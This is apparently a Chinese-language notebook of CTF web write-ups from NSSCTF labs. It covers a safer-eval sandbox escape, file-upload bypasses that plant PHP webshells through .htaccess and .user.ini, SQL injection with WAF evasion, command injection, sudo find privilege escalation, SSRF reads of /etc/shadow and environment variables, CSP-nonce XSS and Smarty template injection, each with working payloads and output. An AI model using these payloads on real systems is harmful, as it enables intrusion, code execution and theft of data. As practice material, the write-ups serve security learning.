一个跟saferEval = require('safer-eval');有关,一个跟t --> setTimeout(() => next(), delay)-->delay有关。(在/eval路由下)

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    } //输入10000*10应该返回不同的结果,这里我不太明白。
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

Javascript代码只看得懂大概。获取到的有效信息就这些了。

搜索safer-eval和setTimeout相关的东西。
关于setTimeout,发现js里面整数溢出是32位,即大于2147483647,就会发生溢出,可以绕过这个时间限制。
参考GKCTF2020 EZ三剑客 记录_ezshell ctf

关于safer-eval,github上有现成的poc,

var saferEval = require("safer-eval");
var code = "setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();";
console.log(saferEval(code));

curl -X POST "http://node4.anna.nssctf.cn:28570/eval?delay=2147483648" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "e=(function () { const process = clearImmediate.constructor('return process;')(); return process.mainModule.require('child_process').execSync('cat /flag').toString() })()"

NSSCTF{b91663b1-bd27-4847-a3c0-5eab377ef3b3}

execSync里面执行的是系统命令。可以替换成whoami ,ls /,cat /flag。

Snipaste_2025-07-30_11-26-36

参考 https://github.com/commenthol/safer-eval/issues/11

总结:JavaScript的代码审计大致看得懂。但其中涉及函数的漏洞却不熟悉。poc虽然已有,但是实战过程中这个思路是怎么想到的,还是可以深究的。

[NCTF 2018]全球最大交友网站

前端多次尝试后,发现点击a.zip可以自动下载文件。

输入dirsearch命令后,得到关键信息./git和./htaccess。

sudo  dirsearch -u "http://node4.anna.nssctf.cn:28389/" -t 50    

Snipaste_2025-07-30_12-26-09

大概率是./git泄露。

于是打开kali虚拟机,输入url,下载a.zip文件后解压文件,然后进入下载的目录。

Snipaste_2025-07-30_12-11-07

git checkout,git branch,git tag等思路利用无效。

Snipaste_2025-07-30_12-17-03

但是cat readme.txt 或git show查看到敏感信息。

总结:有了overthewire bandit靶场git部分的练习,对此题的帮助还是挺大的。

[SWPUCTF 2022 新生赛]Ez_upload

上传txt文件,返回你上传的什么鬼?上传php文件,返回后缀名不能有ph!意思就是不能上传php,phtml,phar等后缀名的文件。

上传index.php,修改filename后缀为jpg的回显。
Snipaste_2025-07-30_16-25-56

所以txt,ph等都不允许上传。

删除GIF89a和?php的一句话木马,以及修改Content-Type为image/jpeg后得到的回显。
Snipaste_2025-07-30_16-28-52

/var/www/html/upload/e84edbda8f9b20427f66a9c307b87357/index.jpg succesfully uploaded!说明jpg的文件可以上传。

jpg的文件上传成功,说明MIME类型检测,文件后缀不允许出现ph,文件内容不允许出现?php,<?
所以联想到jsp类型的一句话木马(绕过文件内容的检测),和.htaccess配置文件的转变(绕过文件后缀)。

写入jsp的一句话木马,上传成功。

<script language='php'>system($_POST['cmd']);</script>    

Snipaste_2025-07-30_16-31-33

/var/www/html/upload/e84edbda8f9b20427f66a9c307b87357/index.jpg succesfully uploaded!

写入.htaccess文件,修改MIME为.htaccess。

<FilesMatch "index.jpg"> 
SetHandler application/x-httpd-php
</FilesMatch>

Snipaste_2025-07-30_18-15-55

/var/www/html/upload/e84edbda8f9b20427f66a9c307b87357/.htaccess succesfully uploaded!

构造payload:

http://node5.anna.nssctf.cn:21160/upload/e84edbda8f9b20427f66a9c307b87357/index.jpg
<script language='php'>system($_POST['cmd']);</script>    //Header
cmd=phpinfo();  //post

或者

http://node5.anna.nssctf.cn:21160/upload/e84edbda8f9b20427f66a9c307b87357/index.jpg
<script language='php'>phpinfo(); </script>    //Header

Snipaste_2025-07-30_17-46-30

总结:这题MIME对文件后缀和文件内容进行了过滤,不过依然有绕过的姿势。

[GHCTF 2025]UPUPUP

上传index.php,返回文件不允许。说明MIME对后缀php进行了黑名单限制。
Snipaste_2025-07-30_20-33-06

改后缀为jpg,文件类型为image/jpeg。上传成功,说明正常图片的上传功能是合法的。
Snipaste_2025-07-30_20-33-53

虽然jpg格式能上传成功,但是他无法执行后续的远程命令执行,无法完成持久化操作。php文件能够执行持久化操作,但是已经被限制了。所以,有没有一种办法,使得我们想要的jpg格式文件执行php文件的功能。有的,.htaccess。

我们想过要jpg格式,所以给.htaccess添加文件头GIF89a。
Snipaste_2025-07-31_21-56-05

抓包时上传成功,但是拼接url时误触500警告(拼接URL后,BurpSuite里能够看到)。
Snipaste_2025-07-31_21-17-38

说明头文件GIF89a被WAF检测出来了。查阅有关资料,说文件头XBM和WBMP两种方式都能够绕过。

XBM图片:

#define width 1337
#define height 1337

WBMP图片:

\x00\x00\x85\x85

多次尝试后,发现XBM这个方案可行,WBMP这个方案不行。

#define width 1
#define height 1
<FilesMatch "index.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

Snipaste_2025-07-31_22-04-25

上传以上响应文件后,jpg格式的文件就能够被当成php格式的文件进行了。所以我们写入jpg格式的图片马。

GIF89a
<?= system($_POST['cmd']);?>

当=换成php时,上传也会出现错误,返回非法文件。可能他也对文件内容进行了检测,尤其是php这种关键字。
Snipaste_2025-07-31_22-07-29

当我们cmd写入phpinfo();时,返回获取到的信息有限(也可能是我这里卡了)。
Snipaste_2025-07-31_21-41-04

所以常规思路ls /,whoami,id啥之类的。
Snipaste_2025-07-31_21-42-22

最后还是从文件目录里找到了敏感信息。

参考文章:
https://www.cnblogs.com/YoumuKonpaku/articles/18765629
https://blog.csdn.net/yeyushengfano/article/details/146245007

总结:MIME此次下手真狠,文件后缀,文件内容,文件头都一一进行了检查。可是即使城墙如此坚固,但是没有密不透风的围墙。

[GKCTF 2021]easycms

扫描txt,php后缀的文件。
Snipaste_2025-08-02_11-17-27

我不知道为啥这么慢,之前开了线程50也好不到哪。(-t 50)可能该cms的文件数量确实庞大。

经过多次尝试,url拼接admin.php后。可以用弱口令admin 12345进行登录。

/* Keep session random valid. */
needPing = true;
$('#submit').click(function()
{
    var password = $('#password').val();
    var reg = /^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/;
    if(!reg.test($('#account').val())) password = md5(md5(md5($('#password').val()) + $('#account').val()) + v.random);

    fingerprint = getFingerprint();
    loginURL = createLink('user', 'login');
    $.ajax(
    {
        type: "POST",
        data:"account=" + $('#account').val() + '&password=' + password + '&referer=' + encodeURIComponent($('#referer').val()) + '&fingerprint=' + fingerprint,
        url:loginURL,
        dataType:'json',
        success:function(data)
        {
            if(data.result == 'success') return location.href=data.locate;
            $.ajax(
            {
                type: "POST",
                data: "account=" + $('#account').val() + '&password=' + $('#password').val() + '&referer=' + encodeURIComponent($('#referer').val()) + '&fingerprint=' + fingerprint,
                url:loginURL,
                dataType:'json',
                success:function(data)
                {
                    if(data.reason == 'captcha')
                    {
                        $('.captchaModal').prop('href', data.url);
                        setTimeout(function(){$('.captchaModal').click();}, 1000);
                    }
                    if(data.result == 'fail') showFormError(data.message);
                    if(data.result == 'success') location.href=data.locate;
                    if(typeof(data) != 'object') showFormError(data);
                },
                error:function(data){showFormError(data.responseText);}
            })
        },
        error:function(data){showFormError(data.responseText);}
    })
    return false;
});

function showFormError(text)
{
    if(text == '') return true;
    var error = $('#formError').text(text);
    var parent = error.closest('.form-group');
    if(parent.length) parent.show();
    else $('#formError').show();
}

我不明白他的登录认证这么复杂却可以用弱口令进行登录。个人觉得可能是为了淡化该功能,突出文件下载这一漏洞。

登录后,找到文件下载这一接口,并进行如下图所示的操作。
(设计-主题-自定义-导出主题)
Snipaste_2025-08-02_10-31-57

点击保存后,hema.zip会自动下载到你本地电脑。我们复制下载链接

http://node4.anna.nssctf.cn:28451/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvaGVtYS56aXA=

对字符串L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvaGVtYS56aXA= 进行解密,得到/var/www/html/system/tmp/theme/default/hema.zip。说明我们进行以上操作后,从该网站目录下载了文件hema.zip。

所以我们利用同样的思路,对敏感信息/flag进行下载。不过要先前进行base64加密(L2ZsYWc=)。

构造payload

http://node4.anna.nssctf.cn:28451/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

后,用编辑器查看,得到了目标。
Snipaste_2025-08-02_11-01-43

这里我不明白为啥另一种解法(文件上传,参考GKCTF 2021 easycms-CSDN博客)为啥不奏效了,难道是非预期解。NSSCTF这个平台有动态检测机制?对该题进行了升级,只有固定解了?

[suctf 2019]checkin

上传php文件,返回illegal suffix!上传jpg/png图片,返回<? in contents!或filesize too big!
说明文件后缀php之类的被过滤,文件内容<?被过滤了。
对于文件内容,我们构造

GIF89a
<script language='php'>system($_POST['cmd']);</script>  

Snipaste_2025-08-02_17-13-57

两种.htaccess构造方法。

GIF89a
<FilesMatch "index.jpg"> 
SetHandler application/x-httpd-php
</FilesMatch>

GIF89a
AddType application/x-httpd-php .jpg

对于文件后缀,根据经验,我们想要使用.htaccess文件。

Snipaste_2025-08-02_17-13-00

额额额,可恶。竟然忘记添加GIF89a文件头了。
用另一种方式加GIF89a文件头试试。
Snipaste_2025-08-02_17-11-31

ok。
至此,index.jpg会被当作index.php执行。而index.php在文件内容绕过时,被写入了一句话木马system($_POST['cmd']);

由此拼接路径

#原来的url为url+/index.php
~/uploads/7df5c318fe30d3d97b0d474e749b55d5/index.php
cmd=whoami cmd=id cmd=ls / cmd=cat /flag    //POST

以为大功告成,可是页面好像被卡住了,根本不返回任何信息。看来文件后缀绕过成功是一种假象,文件后缀绕过失败!!

怎么办?怎么办?.htaccess被全面禁止了。查了许久资料,聪明的你终于发现好像可以用.user.ini绕过!

GIF89a
auto_prepend_file=index.jpg

这里的原理不像.htaccess执行时,jpg格式文件被当作php格式文件执行。而是index.jpg里面包含了指定的Webshell(index.php)文件。
Snipaste_2025-08-02_17-34-30

这样,成功将jpg格式文件连带php格式文件一起执行,然后我们就能进行持久化操作。

使用.user.ini方法后,我们再将jpg木马用BurpSuite重传一遍。即将文件内容绕过时的

GIF89a
<script language='php'>system($_POST['cmd']);</script>  

图片马再利用一遍。

同样cmd=whoami cmd=id cmd=ls / cmd=cat /flag一一探查一遍。
Snipaste_2025-08-02_17-01-33

一一返回。
GIF89a?application

GIF89a? uid=1000(application) gid=1000(application) groups=1000(application)

GIF89a? app bin boot clean.sh dev docker.stderr docker.stdout entrypoint entrypoint.cmd entrypoint.d etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

GIF89a? NSSCTF{79efdb9f-100e-490b-9dd0-e84253ae34fd}

总结:.htaccess的GIF89a文件上传成功,后续却无法利用。进而只能转向.user.ini这种思路。

[NSSCTF 2nd]MyBox

利用file协议对url拼接~/?url=file:// +(接下来的命令,如/etc/passwd,/etc/hosts)。

Snipaste_2025-08-02_18-49-26

etc/hosts

127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
172.2.60.55	50888e5df4f54fc8

etc/shadow

root:*:18897:0:99999:7:::
daemon:*:18897:0:99999:7:::
bin:*:18897:0:99999:7:::
sys:*:18897:0:99999:7:::
sync:*:18897:0:99999:7:::
games:*:18897:0:99999:7:::
man:*:18897:0:99999:7:::
lp:*:18897:0:99999:7:::
mail:*:18897:0:99999:7:::
news:*:18897:0:99999:7:::
uucp:*:18897:0:99999:7:::
proxy:*:18897:0:99999:7:::
www-data:*:18897:0:99999:7:::
backup:*:18897:0:99999:7:::
list:*:18897:0:99999:7:::
irc:*:18897:0:99999:7:::
gnats:*:18897:0:99999:7:::
nobody:*:18897:0:99999:7:::
_apt:*:18897:0:99999:7:::
messagebus:*:19595:0:99999:7:::

etc/group

root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
messagebus:x:101:

etc/sudoers

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

/proc/cpuinfo

processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 85
model name	: Intel(R) Xeon(R) Platinum 8255C CPU @ 2.50GHz
stepping	: 5
microcode	: 0x1
cpu MHz		: 2494.140
cache size	: 36608 KB
physical id	: 0
siblings	: 2
core id		: 0
cpu cores	: 2
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch invpcid_single pti fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx avx512f avx512dq rdseed adx smap clflushopt clwb avx512cd avx512bw avx512vl xsaveopt xsavec xgetbv1 arat avx512_vnni
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa itlb_multihit mmio_stale_data retbleed
bogomips	: 4988.28
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 6
model		: 85
model name	: Intel(R) Xeon(R) Platinum 8255C CPU @ 2.50GHz
stepping	: 5
microcode	: 0x1
cpu MHz		: 2494.140
cache size	: 36608 KB
physical id	: 0
siblings	: 2
core id		: 1
cpu cores	: 2
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch invpcid_single pti fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx avx512f avx512dq rdseed adx smap clflushopt clwb avx512cd avx512bw avx512vl xsaveopt xsavec xgetbv1 arat avx512_vnni
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa itlb_multihit mmio_stale_data retbleed
bogomips	: 4988.28
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

/proc/meminfo

MemTotal:        7623860 kB
MemFree:          747296 kB
MemAvailable:    5938204 kB
Buffers:          296548 kB
Cached:          3899200 kB
SwapCached:            0 kB
Active:          3995456 kB
Inactive:        1293256 kB
Active(anon):    1100440 kB
Inactive(anon):     5160 kB
Active(file):    2895016 kB
Inactive(file):  1288096 kB
Unevictable:       22084 kB
Mlocked:           22084 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:               108 kB
Writeback:             0 kB
AnonPages:       1109392 kB
Mapped:           282608 kB
Shmem:              6332 kB
KReclaimable:    1313176 kB
Slab:            1475704 kB
SReclaimable:    1313176 kB
SUnreclaim:       162528 kB
KernelStack:       11712 kB
PageTables:        19864 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:     3811928 kB
Committed_AS:    7289652 kB
VmallocTotal:   34359738367 kB
VmallocUsed:       21576 kB
VmallocChunk:          0 kB
Percpu:            10720 kB
HardwareCorrupted:     0 kB
AnonHugePages:     36864 kB
ShmemHugePages:        0 kB
ShmemPmdMapped:        0 kB
FileHugePages:         0 kB
FilePmdMapped:         0 kB
CmaTotal:              0 kB
CmaFree:               0 kB
HugePages_Total:       0
HugePages_Free:        0
HugePages_Rsvd:        0
HugePages_Surp:        0
Hugepagesize:       2048 kB
Hugetlb:               0 kB
DirectMap4k:     5394296 kB
DirectMap2M:     2994176 kB
DirectMap1G:     2097152 kB

由/proc/self/environ读取到环境为python环境。

HOSTNAME=50888e5df4f54fc8PWD=/usr/local/apache2HTTPD_VERSION=2.4.49HOME=/rootFLAG=not_hereHTTPD_PATCHES=HTTPD_SHA256=65b965d6890ea90d9706595e4b7b9365b5060bec8ea723449480b4769974133bSHLVL=1PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHTTPD_PREFIX=/usr/local/apache2_=/usr/bin/python3

/proc/version,/etc/resolv.conf

/proc/self/cmdline

python3/app/app.py

/app/app.py

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        with open(url[7:], 'r') as f:
            return f.read()
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''

app.run('0.0.0.0', 827)

/proc/1/environ

PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=50888e5df4f54fc8FLAG=NSSCTF{0e3e5156-ddfd-4e53-9303-bd77b0584bbc}HTTPD_PREFIX=/usr/local/apache2HTTPD_VERSION=2.4.49HTTPD_SHA256=65b965d6890ea90d9706595e4b7b9365b5060bec8ea723449480b4769974133bHTTPD_PATCHES=HOME=/root

得到的竟然是非预期解。

总结:预期解NSSCTF 2nd web不太明白。

[SWPUCTF 2021 新生赛]sql

  1. 判断是数字型还是字符型
    http://node4.anna.nssctf.cn:28253/?wllm=1

Want Me? Cross the Waf
Your Login name:xxx
Your Password:yyy

http://node4.anna.nssctf.cn:28253/?wllm=1'
Want Me? Cross the Waf
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

所以是字符型

  1. 用order by判断列数
    传入http://node4.anna.nssctf.cn:28253/?wllm=1'/**/order/**/by/**/3#如果/**/
    去掉会提示 '' 请勿非法操作!'。说明空格被过滤了。#之前必须空一格空格出来,用/**/#/**/--不行,所以url编码为%23。
    Want Me? Cross the Waf
    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1

http://node4.anna.nssctf.cn:28072/?wllm=1'/**/order/**/by/**/3%23
Want Me? Cross the Waf
Your Login name:xxx
Your Password:yyy
http://node4.anna.nssctf.cn:28072/?wllm=1'/**/order/**/by/**/4%23
Want Me? Cross the Waf
Unknown column '4' in 'order clause'
说明共有3列

  1. 基于字符型的union联合注入。
  • 正常的列表查询。
    http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,3%23
    http://node4.anna.nssctf.cn:28072/?wllm=-1'union/**/select/**/1,2,3%23
    Want Me? Cross the Waf
    Your Login name:2
    Your Password:3

  • 数据库及版本信息查询。
    http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,database(),version()%23
    Want Me? Cross the Waf
    Your Login name:test_db
    Your Password:10.2.29-MariaDB-log

  • 取出数据库里的表。
    http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test_db'%23
    弹窗 '请勿非法操作!'
    说明=号被过滤了。
    http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
    Want Me? Cross the Waf
    Your Login name:2
    Your Password:LTLT_flag,users

  • 查看表里的列名。
    http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23
    Want Me? Cross the Waf
    Your Login name:2
    Your Password:id,flag
    http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
    Want Me? Cross the Waf
    Your Login name:2
    Your Password:id,flag,id,username,

  • 查看敏感信息。substr,right,REVERSE已经被过滤,所以用mid分段查找flag,每次长度20个字符。
    mid(string, start, length)
    http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23
    Want Me? Cross the Waf
    Your Login name:2
    Your Password:NSSCTF{d221be8c-4777

http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/LTLT_flag%23
Want Me? Cross the Waf
Your Login name:2
Your Password:-4587-bb2d-c648026f0

http://node4.anna.nssctf.cn:28072/?wllm=a'union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/LTLT_flag%23
Want Me? Cross the Waf
Your Login name:2
Your Password:1fd}

三次结果拼接在一起得到:
NSSCTF{d221be8c-4777-4587-bb2d-c648026f01fd}

[FSCTF 2023]Hello,you


$input = isset($_GET['input']) ? $_GET['input'] : '';

// 执行命令并返回结果
function executeCommand($command) {
    $output = '';
    exec($command, $output);
    return $output;
}

// 注册用户
function registerUser($username) {
    // ......... 
    $command = "echo Hello, " . $username;
    $result = executeCommand($command);
    return $result;
}

// 处理注册请求
if (isset($_POST['submit'])) {
    $username = $_POST['username'];
    $result = registerUser($username);
}

没有过滤;&|等命令执行的关键词。

输入1&ls
Hello, 1
flag.php
index.php

1&cat flag.php,1&tac flag.php
弹窗'非法操作',说明cat,tac等被过滤。

可以采用tail或nl命令,(或者添加”,’,\,等进行过滤,这里不知道为啥不行)。

输入1;tail f,1;nl f

Hello, 1  
<?php  
NSSCTF{b8ee617d-64bf-4dd7-a94e-9f73894f6244}  
?>

[HZNUCTF 2023 final] ezgo

构造payload:

http://node5.anna.nssctf.cn:25873/cmd

shit=pwd  shit=find f*  shit=echo $PATH  //POST

一一返回/和"find": executable file not found in $PATH以及deny to set path。

Deepseek关于常见的$PATH的总结。
Snipaste_2025-08-06_22-23-13

这些环境对系统管理和安全审计起着重要作用,如果配置不当容易引起sudo提权等问题。比如,这里用到的是/usr/bin中的sudo提权。

http://node5.anna.nssctf.cn:25873/cmd
shit=/usr/bin/sudo //POST

Snipaste_2025-08-06_21-47-25

当输入shit=/usr/bin/sudo -l时,查看到/usr/bin/find。

shit=/usr/bin/sudo find / -perm -u=s -type f 2>/dev/null 时出现“500 Internal Server Error”。说明直接查找suid文件的思路失败。

进而,根据find 命令提权 - 内向是一种性格 - 博客园这篇文章知道可以 利用find命令提权。

(`find which find -exec whoami \;`,这里的which find就是上文找到的/usr/bin/find)。

接着利用find命令提权。

http://node5.anna.nssctf.cn:25873/cmd

shit=/usr/bin/sudo find /usr/bin/find -exec id \;  //POST
uid=0(root) gid=0(root) groups=0(root)

我们执行了系统命令id,查看到我们是root用户,至此我们已经提权至超级管理员。

http://node5.anna.nssctf.cn:25873/cmd
shit=/usr/bin/sudo find /usr/bin/find -exec ls \; //POST
返回
bin
boot
dev
etc
flag
home
lib
lib64
main
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

我们探查重要文件,找到了通行证。

http://node5.anna.nssctf.cn:25873/cmd
shit=/usr/bin/sudo find /usr/bin/find -exec cat /f* \;   //POST
NSSCTF{5669803a-8d0f-4767-97a7-5b1d2617a261}

[AFCTF 2021]BABY_CSP

什么是CSP?服务器CSP是指服务器端的内容安全策略(Content Security Policy)。CSP是一种Web安全机制,旨在减少和防止跨站点脚本攻击(XSS攻击)、点击劫持和数据注入等安全漏洞的利用。
参考文章

  1. https://worktile.com/kb/ask/1630667.html
  2. https://www.zyxy.net/archives/13965

页面源代码返回的四个随机值。

<script nonce="">
    btn.onclick = () => {
    location = './?school=' + encodeURIComponent(['CSU', 'JXNU', 'HEBNU', 'I don\'t konw :( '][Math.floor(4 * Math.random())]);
    }
    </script>

看到nonce值,与下面的script-src 'nonce-29de6fde0db5686d'对应。说明对应的nonce值可以写进<script>标签,然后就能够执行alert里面的内容。与上述的btn.onclick 类似。
Snipaste_2025-08-07_11-32-50

直接构造payload:http://node4.anna.nssctf.cn:28199/school=<script nonce="29de6fde0db5686d">alert('123')</script>
弹窗123
Snipaste_2025-08-07_11-45-46

说明xss利用成功。

接着反弹重要信息,http://node4.anna.nssctf.cn:28199/?school=<script nonce="29de6fde0db5686d">alert(flag)</script>
Snipaste_2025-08-07_11-51-05

[CISCN 2019华东南]Web11

Snipaste_2025-08-08_16-04-19

应该与XFF这个注入点有关。

什么是Smarty模板注入?
Snipaste_2025-08-08_16-50-28

从阿里云社区大佬的文章得知主要有 {literal}{php}{/php}{if}{/if}三等种注入手段。参考 https://xz.aliyun.com/news/11666
更多关于php模板注入的文章参考 https://xz.aliyun.com/news/14141

构造payload:

http://node4.anna.nssctf.cn:28058/xff/

X-Forwarded-For: {if system('ls /') }{/if} //Header

Snipaste_2025-08-08_16-28-55

将引号里面的字符串换成cat /flag后,继续查找查看器。
Snipaste_2025-08-08_16-32-27

[suctf 2019]EasySQL

什么是堆叠注入?简单来说就是通过;来分隔各个sql语句,使之都能够独立运行。
参考 https://blog.csdn.net/qq_45691294/article/details/107376284

当我们在输入框输入数字时返回。

Array ( [0] => 1 )

当输入1; show databases;#时,返回

Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

当输入1;show tables;#时,返回

Array ( [0] => 1 ) Array ( [0] => Flag )

输入1;show columns from Flag#时,返回Nonono。推测可能columns被pass掉了。

这时候已经没辙了,通过查看堆叠注入题解这篇题解得知 需要猜测sql后端是怎么写的。select $_POST[‘query’] || flag from Flag,具体好像是这么写的。

当输入*,1时,原sql注入语句变成select *,1 || flag from Flag,我们先执行select *,1 from Flag(为真),然后执行select flag from Flag(为假)。所以相当于直接执行select *,1 from Flag,这里的1是第一列都会被设定为特定的值。而*就是其他所有的信息,包括真正的flag信息。所以当输入*,1时就能够返回,

Array ( [0] => NSSCTF{4af90fbf-8ae0-41da-922c-4a129d03e3fe} [1] => 1 )

官方的解是1;set sql_mode=PIPES_AS_CONCAT;select 1

总结:这里还是有点模糊,感觉这种wp还是很神奇的样子。是不是为了出题而出题,还是说具体使用场景很少,我推测是后者吧。

[NISACTF 2022]easyssrf

什么是ssrf?与ssrf有关的URL协议?SSRF常见的绕过技术?如何准确地检测和防御ssrf?ssrf发生的真实案例以及与ai安全的融合?阿里云先知社区大佬总结得非常到位。SSRF漏洞分析-先知社区
更多参考:

  1. SSRF安全指北 - 安全动态 - 腾讯安全应急响应中心
  2. SSRF漏洞:URL绕过方法以及原理案例详细讲解 - FreeBuf网络安全行业门户

服务器端请求伪造(SSRF)是指攻击者能够从易受攻击的Web应用程序发送精心设计的请求,从而对其他网站进行攻击。常见的能够利用的url协议file://、dict://、gopher://、ftp://。常见的绕过技术包括进制绕过,302跳转,域名绕过(@,/,.,)。主要通过白名单限制,最小化权限,深度防御等手段来防御该类攻击,从而避免大量的内网信息被探测。

当输入file:///etc/passwd时,返回 害羞羞,试试其他路径?

既然是跟ssrf的众多url协议有关,不妨试一试php伪协议。

?file=php://filter/read=convert.base64-encode/resource=/flag

返回 都说了这里看不了flag。但是可以看看提示文件:/fl4g。

所以,输入file:///fl4g进一步查看。返回

